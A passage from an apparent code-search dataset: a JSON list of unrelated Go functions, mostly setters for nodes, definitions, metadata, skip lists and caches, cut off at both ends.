{\\n\\t\\ts.setStart(true)\\n\\t\\ts.setRollback()\\n\\t\\ts.setEnd(nil)\\n\\t}\\n\\ts.setDone(err)\\n\\tresp := &gnmipb.SetResponse{\\n\\t\\tPrefix: prefix,\\n\\t\\tResponse: result,\\n\\t}\\n\\treturn resp, err\\n}\",\n \"func (r *Root) BatchSet(ctx context.Context, vals []cbg.CBORMarshaler) error {\\n\\t// TODO: there are more optimized ways of doing this method\\n\\tfor i, v := range vals {\\n\\t\\tif err := r.Set(ctx, uint64(i), v); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *Flow) setUUIDs(key, l2Key, l3Key uint64) {\\n\\tf.TrackingID = strconv.FormatUint(l2Key, 16)\\n\\tf.L3TrackingID = strconv.FormatUint(l3Key, 16)\\n\\n\\tvalue64 := make([]byte, 8)\\n\\tbinary.BigEndian.PutUint64(value64, uint64(f.Start))\\n\\n\\thasher := xxHash64.New(key)\\n\\thasher.Write(value64)\\n\\thasher.Write([]byte(f.NodeTID))\\n\\n\\tf.UUID = strconv.FormatUint(hasher.Sum64(), 16)\\n}\",\n \"func (m *AccessReviewSet) SetDefinitions(value []AccessReviewScheduleDefinitionable)() {\\n m.definitions = value\\n}\",\n \"func (a *cfgMetaKvNodeDefsSplitHandler) get(\\n\\tc *CfgMetaKv, key string, cas uint64) ([]byte, uint64, error) {\\n\\tm, err := metakv.ListAllChildren(c.keyToPath(key) + \\\"/\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, 0, err\\n\\t}\\n\\n\\trv := &NodeDefs{NodeDefs: make(map[string]*NodeDef)}\\n\\n\\tuuids := []string{}\\n\\tfor _, v := range m {\\n\\t\\tvar childNodeDefs NodeDefs\\n\\n\\t\\terr = json.Unmarshal(v.Value, &childNodeDefs)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, 0, err\\n\\t\\t}\\n\\n\\t\\tfor k1, v1 := range childNodeDefs.NodeDefs {\\n\\t\\t\\trv.NodeDefs[k1] = v1\\n\\t\\t}\\n\\n\\t\\t// use the lowest version among nodeDefs\\n\\t\\tif rv.ImplVersion == \\\"\\\" ||\\n\\t\\t\\t!VersionGTE(childNodeDefs.ImplVersion, rv.ImplVersion) {\\n\\t\\t\\trv.ImplVersion = childNodeDefs.ImplVersion\\n\\t\\t}\\n\\n\\t\\tuuids = append(uuids, childNodeDefs.UUID)\\n\\t}\\n\\trv.UUID = checkSumUUIDs(uuids)\\n\\n\\tif rv.ImplVersion == \\\"\\\" {\\n\\t\\tversion := VERSION\\n\\t\\tv, _, err := c.getRawLOCKED(VERSION_KEY, 0)\\n\\t\\tif err == nil {\\n\\t\\t\\tversion = string(v)\\n\\t\\t}\\n\\t\\trv.ImplVersion = version\\n\\t}\\n\\n\\tdata, err := json.Marshal(rv)\\n\\tif err != nil {\\n\\t\\treturn nil, 0, err\\n\\t}\\n\\n\\tcasResult := c.lastSplitCAS + 1\\n\\tc.lastSplitCAS = casResult\\n\\n\\tc.splitEntries[key] = CfgMetaKvEntry{\\n\\t\\tcas: casResult,\\n\\t\\tdata: data,\\n\\t}\\n\\n\\treturn data, casResult, nil\\n}\",\n \"func (api *NodeApi) bulkPut(w http.ResponseWriter, req *http.Request) {\\n\\tvars := mux.Vars(req)\\n\\tplog.Debug(fmt.Sprintf(\\\"Receive %s request %s %v from %s.\\\", req.Method, req.URL.Path, vars, req.RemoteAddr))\\n\\tvar err error\\n\\tvar resp []byte\\n\\tif _, ok := req.URL.Query()[\\\"state\\\"]; !ok {\\n\\t\\tplog.HandleHttp(w, req, http.StatusBadRequest, \\\"Could not get state parameter\\\")\\n\\t\\treturn\\n\\t}\\n\\tstate := req.URL.Query()[\\\"state\\\"][0]\\n\\tvar storNodes map[string][]storage.Node\\n\\tbody, err := ioutil.ReadAll(req.Body)\\n\\tif err != nil {\\n\\t\\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\\n\\t\\treturn\\n\\t}\\n\\tif err := req.Body.Close(); err != nil {\\n\\t\\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\\n\\t\\treturn\\n\\t}\\n\\tif err := json.Unmarshal(body, &storNodes); err != nil {\\n\\t\\tplog.HandleHttp(w, req, http.StatusUnprocessableEntity, err.Error())\\n\\t\\treturn\\n\\t}\\n\\tnodes := make([]string, 0, len(storNodes[\\\"nodes\\\"]))\\n\\tfor _, v := range storNodes[\\\"nodes\\\"] {\\n\\t\\tnodes = append(nodes, v.Name)\\n\\t}\\n\\tresult := nodeManager.SetConsoleState(nodes, state)\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=UTF-8\\\")\\n\\tif resp, err = json.Marshal(result); err != nil {\\n\\t\\tplog.HandleHttp(w, req, http.StatusInternalServerError, err.Error())\\n\\t\\treturn\\n\\t}\\n\\tw.WriteHeader(http.StatusAccepted)\\n\\tfmt.Fprintf(w, \\\"%s\\\\n\\\", resp)\\n}\",\n \"func Set(x interface{}, args ...interface{}) Node {\\n\\treturn Node{&ast.Set{\\n\\t\\tStartOp: \\\"{\\\",\\n\\t\\tEndOp: \\\"}\\\",\\n\\t\\tX: ToNode(x).Node,\\n\\t\\tY: ArgsList(args...).Node,\\n\\t}}\\n}\",\n \"func SetDirectives(node ast.Node, directives []*ast.Directive) bool {\\n\\tswitch one := node.(type) {\\n\\tcase *ast.ScalarDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.FieldDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.EnumDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.EnumValueDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.ObjectDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.TypeExtensionDefinition:\\n\\t\\tone.Definition.Directives = directives\\n\\tcase *ast.InterfaceDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.InputObjectDefinition:\\n\\t\\tone.Directives = directives\\n\\tcase *ast.InputValueDefinition:\\n\\t\\tone.Directives = directives\\n\\tdefault:\\n\\t\\treturn false\\n\\t}\\n\\n\\treturn true\\n}\",\n \"func (g *NodeGroup) SetNodes(new ...Node) (old []Node) {\\n\\treturn\\n}\",\n \"func (c *Variable) Set(tmpl, ts string, e ...Entry) error {\\n var err error\\n\\n if len(e) == 0 {\\n return nil\\n } else if tmpl == \\\"\\\" && ts == \\\"\\\" {\\n return fmt.Errorf(\\\"tmpl or ts must be specified\\\")\\n }\\n\\n _, fn := c.versioning()\\n names := make([]string, len(e))\\n\\n // Build up the struct with the given configs.\\n d := util.BulkElement{XMLName: xml.Name{Local: \\\"variable\\\"}}\\n for i := range e {\\n d.Data = append(d.Data, fn(e[i]))\\n names[i] = e[i].Name\\n }\\n c.con.LogAction(\\\"(set) template variables: %v\\\", names)\\n\\n // Set xpath.\\n path := c.xpath(tmpl, ts, names)\\n if len(e) == 1 {\\n path = path[:len(path) - 1]\\n } else {\\n path = path[:len(path) - 2]\\n }\\n\\n // Create the template variables.\\n _, err = c.con.Set(path, d.Config(), nil, nil)\\n return err\\n}\",\n \"func (n *node) setValues(values *Values) bool {\\n\\tif values.IsEmpty() {\\n\\t\\tif n.isEmpty() {\\n\\t\\t\\treturn false\\n\\t\\t}\\n\\t\\tn.value = nil\\n\\t\\tn.children = nil\\n\\t\\treturn true\\n\\t}\\n\\tchanged := false\\n\\tvalues.EachKeyValue(func(key Key, value interface{}) {\\n\\t\\tchanged = n.put(key, value) || changed\\n\\t})\\n\\treturn changed\\n}\",\n \"func (n *Node) SetMetadata(key string, val string) (err error) {\\n\\tnodePath := n.InternalPath()\\n\\tif err := xattr.Set(nodePath, key, []byte(val)); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"decomposedfs: could not set parentid attribute\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *Database) SetLeafMetadata(ctx context.Context, start int64, metadata []Metadata) error {\\n\\ttx, err := d.db.BeginTx(ctx, nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"BeginTx: %v\\\", err)\\n\\t}\\n\\tfor mi, m := range metadata {\\n\\t\\tmidx := int64(mi) + start\\n\\t\\ttx.Exec(\\\"INSERT INTO leafMetadata (id, module, version, fileshash, modhash) VALUES (?, ?, ?, ?, ?)\\\", midx, m.module, m.version, m.repoHash, m.modHash)\\n\\t}\\n\\treturn tx.Commit()\\n}\",\n \"func setParent(node, parent *I3Node) {\\n\\n\\tnode.Parent = parent\\n\\n\\tfor i := range node.Nodes {\\n\\t\\tsetParent(&node.Nodes[i], node)\\n\\t}\\n\\tfor i := range node.Floating_Nodes {\\n\\t\\tsetParent(&node.Floating_Nodes[i], node)\\n\\t}\\n}\",\n \"func (cfg *Config) setMulti(variables map[string]string, export bool) error {\\n\\t// sort keys to make the output testable\\n\\tvar keys []string\\n\\tfor k := range variables {\\n\\t\\tkeys = append(keys, k)\\n\\t}\\n\\tsort.Strings(keys)\\n\\n\\tfor _, k := range keys {\\n\\t\\tcfg.Set(k, variables[k], export)\\n\\t}\\n\\n\\treturn cfg.Do()\\n}\",\n \"func (node *Node) SetMetadata(key, value string) {\\n\\tstr := strings.Join([]string{key, value}, \\\"=\\\")\\n\\tif node.Meta == nil || len(node.Meta) == 0 {\\n\\t\\tnode.Meta = []byte(str)\\n\\t} else {\\n\\t\\tnode.Meta = append(node.Meta, append([]byte(\\\",\\\"), []byte(str)...)...)\\n\\t}\\n}\",\n \"func (s *SkipList) setNodeValue(node *node, val []byte) {\\n\\tnewValSize := uint32(len(val))\\n\\tvalOffset, valSize := node.decodeValue()\\n\\t// If node currently has a value and the size of the value is bigger than new value,\\n\\t// use previous value's memory for new value.\\n\\tif valSize >= newValSize {\\n\\t\\ts.valueAllocator.putBytesTo(valOffset, val)\\n\\t\\tnode.encodeValue(valOffset, newValSize)\\n\\t\\treturn\\n\\t}\\n\\t// If the length of new node is greater than odl node, forget old value\\n\\t// and allocate new space in memory for new value.\\n\\tnewOffset := s.valueAllocator.putBytes(val)\\n\\tnode.encodeValue(newOffset, newValSize)\\n}\",\n \"func (n *Node) Set(key string, val interface{}) {\\n\\tn.Properties[key] = val\\n}\",\n \"func (w *ListWidget) SetNodes(nodes []*expanders.TreeNode) {\\n\\n\\t// Capture current view to navstack\\n\\tif w.HasCurrentItem() {\\n\\t\\tw.navStack.Push(&Page{\\n\\t\\t\\tData: w.contentView.GetContent(),\\n\\t\\t\\tDataType: w.contentView.GetContentType(),\\n\\t\\t\\tValue: w.items,\\n\\t\\t\\tTitle: w.title,\\n\\t\\t\\tSelection: w.selected,\\n\\t\\t\\tExpandedNodeItem: w.CurrentItem(),\\n\\t\\t})\\n\\n\\t\\tcurrentID := w.CurrentItem().ID\\n\\t\\tfor _, node := range nodes {\\n\\t\\t\\tif node.ID == currentID {\\n\\t\\t\\t\\tpanic(fmt.Errorf(\\\"ids must be unique or the navigate command breaks\\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tw.selected = 0\\n\\tw.items = nodes\\n\\tw.ClearFilter()\\n}\",\n \"func (d *Dao) SetXMLSegCache(c context.Context, tp int32, oid, cnt, num int64, value []byte) (err error) {\\n\\tkey := keyXMLSeg(tp, oid, cnt, num)\\n\\tconn := d.dmMC.Get(c)\\n\\titem := memcache.Item{\\n\\t\\tKey: key,\\n\\t\\tValue: value,\\n\\t\\tExpiration: d.dmExpire,\\n\\t\\tFlags: memcache.FlagRAW,\\n\\t}\\n\\tif err = conn.Set(&item); err != nil {\\n\\t\\tlog.Error(\\\"mc.Set(%v) error(%v)\\\", item, err)\\n\\t}\\n\\tconn.Close()\\n\\treturn\\n}\",\n \"func (s *SkipList) Set(key []byte, val []byte) {\\n\\tlistHeight := s.getHeight()\\n\\n\\tvar prevNodes [DefaultMaxHeight + 1]*node\\n\\tvar nextNodesOffsets [DefaultMaxHeight + 1]uint32\\n\\tvar sameKey bool\\n\\n\\tprevNodes[listHeight] = s.head\\n\\n\\t// Starting from the highest level, find the suitable position to\\n\\t// put the node for each level.\\n\\tfor i := int(listHeight) - 1; i >= 0; i-- {\\n\\t\\tprevNodes[i], nextNodesOffsets[i], sameKey = s.getNeighbourNodes(prevNodes[i+1], uint8(i), key)\\n\\t\\t// if there is already a node with the same key, there is no need to\\n\\t\\t// create a new node, just use it.\\n\\t\\tif sameKey {\\n\\t\\t\\ts.setNodeValue(prevNodes[i], val)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// Create a new node.\\n\\tnodeHeight := s.randomHeight()\\n\\tnode, nodeOffset := newNode(s.mainAllocator, s.valueAllocator, nodeHeight, key, val)\\n\\n\\t// If the height of new node is more then current height of the list,\\n\\t// try to increase list height using CAS, since it can be changed.\\n\\tfor listHeight < uint32(nodeHeight) {\\n\\t\\tif s.casHeight(listHeight, uint32(nodeHeight)) {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tlistHeight = s.getHeight()\\n\\t}\\n\\n\\t// Start from base level and put new node.\\n\\t// We are starting from base level to prevent race conditions\\n\\t// for neighbors.\\n\\tfor i := uint8(0); i < nodeHeight; i++ {\\n\\t\\tfor {\\n\\t\\t\\t// if prevNodes[i] is nil, it means at the time of search,\\n\\t\\t\\t// list height was less than new node length.\\n\\t\\t\\t// We need to discover this level.\\n\\t\\t\\tif prevNodes[i] == nil {\\n\\t\\t\\t\\tprevNodes[i], nextNodesOffsets[i], _ = s.getNeighbourNodes(s.head, i, key)\\n\\t\\t\\t}\\n\\n\\t\\t\\tnode.layers[i] = nextNodesOffsets[i]\\n\\t\\t\\tif prevNodes[i].casNextNodeOffset(i, nextNodesOffsets[i], nodeOffset) {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t\\t// If cas fails, we need to rediscover this level\\n\\t\\t\\tprevNodes[i], nextNodesOffsets[i], sameKey = s.getNeighbourNodes(prevNodes[i], i, key)\\n\\t\\t\\tif sameKey {\\n\\t\\t\\t\\ts.setNodeValue(prevNodes[i], val)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"func (m *MerkleTree) Set(index []byte, key string, value []byte) error {\\n\\tcommitment, err := crypto.NewCommit([]byte(key), value)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttoAdd := userLeafNode{\\n\\t\\tkey: key,\\n\\t\\tvalue: append([]byte{}, value...), // make a copy of value\\n\\t\\tindex: index,\\n\\t\\tcommitment: commitment,\\n\\t}\\n\\tm.insertNode(index, &toAdd)\\n\\treturn nil\\n}\",\n \"func (node *SimpleNode) SetNodes(nodes Nodes) {\\n\\tnode.children = nodes\\n}\",\n \"func (fi *funcInfo) emitSetList(line, a, b, c int) {\\r\\n\\tfi.emitABC(line, OP_SETLIST, a, b, c)\\r\\n}\",\n \"func (_ResolverContract *ResolverContractSession) SetMultiaddr(node [32]byte, multiaddr []byte) (*types.Transaction, error) {\\n\\treturn _ResolverContract.Contract.SetMultiaddr(&_ResolverContract.TransactOpts, node, multiaddr)\\n}\",\n \"func (m *EntityMap) Set(x, y, z int64, eid engine.Entity) {\\n key := (x&0xFFFFF0)<<36 + (y&0xFFFFF0)<<16 + (z&0x3FFFFC)>>2\\n chunk, ok := m.chunks[key]\\n if chunk != nil {\\n chunk.Set(x, y, z, eid)\\n } else if !ok && m.generator != nil{\\n m.generator.GenerateChunk(m, (x&0xFFFFF0)>>4, (y&0xFFFFF0)>>4, (z&0x3FFFFC)>>2)\\n m.Set(x, y, z, eid)\\n }\\n}\",\n \"func (m *DeviceManagementComplexSettingDefinition) SetPropertyDefinitionIds(value []string)() {\\n err := m.GetBackingStore().Set(\\\"propertyDefinitionIds\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func FillDefinition(d *Definition, fields map[string]string) error {\\n\\tif d == nil {\\n\\t\\treturn nil\\n\\t}\\n\\tsdef := reflect.ValueOf(d).Elem()\\n\\ttypeOfDef := sdef.Type()\\n\\tfor k, v := range fields {\\n\\t\\t// Check the field is present\\n\\t\\tif f, ok := typeOfDef.FieldByName(k); ok {\\n\\t\\t\\t// Use the right type\\n\\t\\t\\tswitch f.Type.Name() {\\n\\t\\t\\tcase \\\"float\\\":\\n\\t\\t\\t\\tvf, _ := strconv.ParseFloat(v, 32)\\n\\t\\t\\t\\tsdef.FieldByName(k).SetFloat(vf)\\n\\t\\t\\tcase \\\"int\\\":\\n\\t\\t\\t\\tvi, _ := strconv.Atoi(v)\\n\\t\\t\\t\\tsdef.FieldByName(k).SetInt(int64(vi))\\n\\t\\t\\tcase \\\"string\\\":\\n\\t\\t\\t\\tsdef.FieldByName(k).SetString(v)\\n\\t\\t\\tcase \\\"bool\\\":\\n\\t\\t\\t\\tvb, _ := strconv.ParseBool(v)\\n\\t\\t\\t\\tsdef.FieldByName(k).SetBool(vb)\\n\\t\\t\\tcase \\\"\\\":\\n\\t\\t\\t\\tif f.Type.Kind().String() == \\\"slice\\\" {\\n\\t\\t\\t\\t\\t// Special case for \\\"tags\\\" which is an array, not a scalar\\n\\t\\t\\t\\t\\ta := strings.Split(v, \\\",\\\")\\n\\t\\t\\t\\t\\tsdef.FieldByName(k).Set(reflect.ValueOf(a))\\n\\t\\t\\t\\t}\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"Unsupported type: %s\\\", f.Type.Name())\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (p *prober) setNodes(added nodeMap, removed nodeMap) {\\n\\tp.Lock()\\n\\tdefer p.Unlock()\\n\\n\\tfor _, n := range removed {\\n\\t\\tfor elem := range n.Addresses() {\\n\\t\\t\\tp.RemoveIP(elem.IP)\\n\\t\\t}\\n\\t}\\n\\n\\tfor _, n := range added {\\n\\t\\tfor elem, primary := range n.Addresses() {\\n\\t\\t\\t_, addr := resolveIP(&n, elem, \\\"icmp\\\", primary)\\n\\t\\t\\tif addr == nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\n\\t\\t\\tip := ipString(elem.IP)\\n\\t\\t\\tresult := &models.ConnectivityStatus{}\\n\\t\\t\\tresult.Status = \\\"Connection timed out\\\"\\n\\t\\t\\tp.AddIPAddr(addr)\\n\\t\\t\\tp.nodes[ip] = n\\n\\n\\t\\t\\tif p.results[ip] == nil {\\n\\t\\t\\t\\tp.results[ip] = &models.PathStatus{\\n\\t\\t\\t\\t\\tIP: elem.IP,\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tp.results[ip].Icmp = result\\n\\t\\t}\\n\\t}\\n}\",\n \"func (mgr *Manager) SaveNodeDef(kind string, force bool) error {\\n\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDef, 1)\\n\\n\\tif mgr.cfg == nil {\\n\\t\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefNil, 1)\\n\\t\\treturn nil // Occurs during testing.\\n\\t}\\n\\n\\tnodeDef := &NodeDef{\\n\\t\\tHostPort: mgr.bindHttp,\\n\\t\\tUUID: mgr.uuid,\\n\\t\\tImplVersion: mgr.version,\\n\\t\\tTags: mgr.tags,\\n\\t\\tContainer: mgr.container,\\n\\t\\tWeight: mgr.weight,\\n\\t\\tExtras: mgr.extras,\\n\\t}\\n\\n\\tfor {\\n\\t\\tnodeDefs, cas, err := CfgGetNodeDefs(mgr.cfg, kind)\\n\\t\\tif err != nil {\\n\\t\\t\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefGetErr, 1)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif nodeDefs == nil {\\n\\t\\t\\tnodeDefs = NewNodeDefs(mgr.version)\\n\\t\\t}\\n\\t\\tnodeDefPrev, exists := nodeDefs.NodeDefs[mgr.uuid]\\n\\t\\tif exists && !force {\\n\\t\\t\\tif reflect.DeepEqual(nodeDefPrev, nodeDef) {\\n\\t\\t\\t\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefSame, 1)\\n\\t\\t\\t\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefOk, 1)\\n\\t\\t\\t\\treturn nil // No changes, so leave the existing nodeDef.\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tnodeDefs.UUID = NewUUID()\\n\\t\\tnodeDefs.NodeDefs[mgr.uuid] = nodeDef\\n\\t\\tnodeDefs.ImplVersion = CfgGetVersion(mgr.cfg)\\n\\t\\tlog.Printf(\\\"manager: setting the nodeDefs implVersion \\\"+\\n\\t\\t\\t\\\"to %s\\\", nodeDefs.ImplVersion)\\n\\n\\t\\t_, err = CfgSetNodeDefs(mgr.cfg, kind, nodeDefs, cas)\\n\\t\\tif err != nil {\\n\\t\\t\\tif _, ok := err.(*CfgCASError); ok {\\n\\t\\t\\t\\t// Retry if it was a CAS mismatch, as perhaps\\n\\t\\t\\t\\t// multiple nodes are all racing to register themselves,\\n\\t\\t\\t\\t// such as in a full datacenter power restart.\\n\\t\\t\\t\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefRetry, 1)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefSetErr, 1)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tbreak\\n\\t}\\n\\tatomic.AddUint64(&mgr.stats.TotSaveNodeDefOk, 1)\\n\\treturn nil\\n}\",\n \"func (n *Node) split() {\\n\\tquads := n.boundingBox.Quarter()\\n\\n\\tn.children[0] = NewNode(n.level+1, quads[0])\\n\\tn.children[1] = NewNode(n.level+1, quads[1])\\n\\tn.children[2] = NewNode(n.level+1, quads[2])\\n\\tn.children[3] = NewNode(n.level+1, quads[3])\\n\\n\\t// Make a copy of our values\\n\\tvar values []Boxer\\n\\tvalues = append(values, n.values...)\\n\\n\\t// Clear out the current values\\n\\tn.values = nil\\n\\n\\t// Reinsert our values\\n\\tfor i, _ := range values {\\n\\t\\tn.Insert(values[i])\\n\\t}\\n}\",\n \"func (_ResolverContract *ResolverContractTransactorSession) SetMultiaddr(node [32]byte, multiaddr []byte) (*types.Transaction, error) {\\n\\treturn _ResolverContract.Contract.SetMultiaddr(&_ResolverContract.TransactOpts, node, multiaddr)\\n}\",\n \"func (me *TAttlistSupplMeshNameType) Set(s string) { (*xsdt.Token)(me).Set(s) }\",\n \"func (e *BaseExecutor) SetChildren(idx int, ex Executor) {\\n\\te.children[idx] = ex\\n}\",\n \"func (g *GCache) SetMulti(values map[string]any, ttl time.Duration) (err error) {\\n\\tfor key, val := range values {\\n\\t\\terr = g.db.SetWithExpire(key, val, ttl)\\n\\t}\\n\\treturn\\n}\",\n \"func (s HTTPStore) SetMulti(metas map[string][]byte) error {\\n\\turl, err := s.buildMetaURL(\\\"\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treq, err := NewMultiPartMetaRequest(url.String(), metas)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tresp, err := s.roundTrip.RoundTrip(req)\\n\\tif err != nil {\\n\\t\\treturn NetworkError{Wrapped: err}\\n\\t}\\n\\tdefer resp.Body.Close()\\n\\t// if this 404's something is pretty wrong\\n\\treturn translateStatusToError(resp, \\\"POST metadata endpoint\\\")\\n}\",\n \"func (d Data) set(keys []string, value interface{}) error {\\n\\tswitch len(keys) {\\n\\tcase 0:\\n\\t\\treturn nil\\n\\tcase 1:\\n\\t\\treturn d.setValue(keys[0], value)\\n\\t}\\n\\n\\tkeyData, err := d.Data(keys[0])\\n\\tswitch err {\\n\\tcase ErrUnexpectedType, ErrNotFound:\\n\\t\\tkeyData = make(Data)\\n\\t\\td[keys[0]] = keyData\\n\\t\\treturn keyData.set(keys[1:], value)\\n\\tcase nil:\\n\\t\\treturn keyData.set(keys[1:], value)\\n\\tdefault:\\n\\t\\treturn err\\n\\t}\\n}\",\n \"func (s *SkipList) Set(key, value interface{}) {\\n\\tif key == nil {\\n\\t\\tpanic(\\\"goskiplist: nil keys are not supported\\\")\\n\\t}\\n\\n\\t// s.level starts from 0, so we need to allocate one.\\n\\tupdate := make([]*snode, s.level()+1, s.effectiveMaxLevel()+1)\\n\\tcandidate := s.getPath(s.header, update, key)\\n\\n\\tif candidate != nil && candidate.key == key {\\n\\t\\tcandidate.value = value\\n\\t\\treturn\\n\\t}\\n\\n\\tnewLevel := s.randomLevel()\\n\\t// 随机增加level\\n\\tif currentLevel := s.level(); newLevel > currentLevel {\\n\\t\\t// there are no pointers for the higher levels in update.\\n\\t\\t// Header should be there. Also add higher level links to the header.\\n\\t\\tfor i := currentLevel + 1; i <= newLevel; i++ {\\n\\t\\t\\tupdate = append(update, s.header)\\n\\t\\t\\ts.header.forward = append(s.header.forward, nil)\\n\\t\\t}\\n\\t}\\n\\n\\tnewNode := &snode{\\n\\t\\tforward: make([]*snode, newLevel+1, s.effectiveMaxLevel()+1),\\n\\t\\tkey: key,\\n\\t\\tvalue: value,\\n\\t}\\n\\n\\t// 给新加入的节点设置前指针\\n\\tif previous := update[0]; previous.key != nil {\\n\\t\\tnewNode.backward = previous\\n\\t}\\n\\n\\t// 给新加入的节点设置后指针(数组)\\n\\tfor i := 0; i <= newLevel; i++ {\\n\\t\\tnewNode.forward[i] = update[i].forward[i]\\n\\t\\tupdate[i].forward[i] = newNode\\n\\t}\\n\\n\\ts.length++\\n\\n\\tif newNode.forward[0] != nil {\\n\\t\\tif newNode.forward[0].backward != newNode {\\n\\t\\t\\tnewNode.forward[0].backward = newNode\\n\\t\\t}\\n\\t}\\n\\n\\tif s.footer == nil || s.lessThan(s.footer.key, key) {\\n\\t\\ts.footer = newNode\\n\\t}\\n}\",\n \"func newStatefulSetNode(nodeName string, node v1alpha1.ElasticsearchNode, cluster *v1alpha1.Elasticsearch, roleMap map[v1alpha1.ElasticsearchNodeRole]bool) NodeTypeInterface {\\n\\tstatefulSetNode := statefulSetNode{}\\n\\n\\tstatefulSetNode.populateReference(nodeName, node, cluster, roleMap, node.NodeCount)\\n\\n\\treturn &statefulSetNode\\n}\",\n \"func (tmpl *Template) setVars(data interface{}) {\\n\\tvalue, _ := core.GetValue(data, tmpl.config.Prefix)\\n\\ttmpl.store.Purge()\\n\\tfor k, v := range core.ToKvMap(value) {\\n\\t\\ttmpl.store.Set(k, v)\\n\\t}\\n}\",\n \"func (l *GitLocation) SetTestDefs(testDefMap map[string]*testdefinition.TestDefinition) error {\\n\\t// ignore the location if the domain is excluded\\n\\tif util.DomainMatches(l.repoURL.Hostname(), testmachinery.Locations().ExcludeDomains...) {\\n\\t\\treturn nil\\n\\t}\\n\\ttestDefs, err := l.getTestDefs()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor _, def := range testDefs {\\n\\t\\t// Prioritize local testdefinitions over remote\\n\\t\\tif testDefMap[def.Info.Name] == nil || testDefMap[def.Info.Name].Location.Type() != tmv1beta1.LocationTypeLocal {\\n\\t\\t\\tdef.AddInputArtifacts(argov1.Artifact{\\n\\t\\t\\t\\tName: \\\"repo\\\",\\n\\t\\t\\t\\tPath: testmachinery.TM_REPO_PATH,\\n\\t\\t\\t})\\n\\t\\t\\ttestDefMap[def.Info.Name] = def\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *T) SetNode(n *node.T) { t.n = n }\",\n \"func (d Document) Set(fp []string, val interface{}) error {\\n\\td2, err := d.getDocument(fp[:len(fp)-1], true)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn d2.SetField(fp[len(fp)-1], val)\\n}\",\n \"func (self *TileSprite) SetChildrenA(member []DisplayObject) {\\n self.Object.Set(\\\"children\\\", member)\\n}\",\n \"func (a *AST) SetChildren(children []AST) {\\n\\tif a.RootToken {\\n\\t\\ta.Children = children\\n\\t} else {\\n\\t\\ta.Children = append(a.Children[:1], children...)\\n\\t}\\n}\",\n \"func Set(items []utils.Pair, db RedisDBClientInterface, group environment.EnvironmentGroup) error {\\n\\tfor _, kv := range items {\\n\\t\\tfst := extract(kv.Fst.(string), group)\\n\\t\\tsnd := extract(kv.Snd.(string), group)\\n\\t\\t_, err := db.Set(fst, snd,0).Result()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (me *TxsdRegistryHandleSimpleContentExtensionRegistry) Set(s string) { (*xsdt.Nmtoken)(me).Set(s) }\",\n \"func (_ResolverContract *ResolverContractTransactor) SetMultiaddr(opts *bind.TransactOpts, node [32]byte, multiaddr []byte) (*types.Transaction, error) {\\n\\treturn _ResolverContract.contract.Transact(opts, \\\"setMultiaddr\\\", node, multiaddr)\\n}\",\n \"func (n *Nodes) Set1(node *Node)\",\n \"func (m *DeviceManagementConfigurationSettingDefinition) SetKeywords(value []string)() {\\n err := m.GetBackingStore().Set(\\\"keywords\\\", value)\\n if err != nil {\\n panic(err)\\n }\\n}\",\n \"func (f *Fields) Set(s []*Field)\",\n \"func initChilds(values map[string]interface{}) map[string]interface{} {\\r\\n\\ttypeName := values[\\\"TYPENAME\\\"].(string)\\r\\n\\tstoreId := typeName[0:strings.Index(typeName, \\\".\\\")]\\r\\n\\tprototype, _ := GetServer().GetEntityManager().getEntityPrototype(typeName, storeId)\\r\\n\\tfor i := 0; i < len(prototype.Fields); i++ {\\r\\n\\t\\tif strings.HasPrefix(prototype.Fields[i], \\\"M_\\\") {\\r\\n\\t\\t\\tisBaseType := strings.HasPrefix(prototype.FieldsType[i], \\\"xs.\\\") || strings.HasPrefix(prototype.FieldsType[i], \\\"[]xs.\\\") || 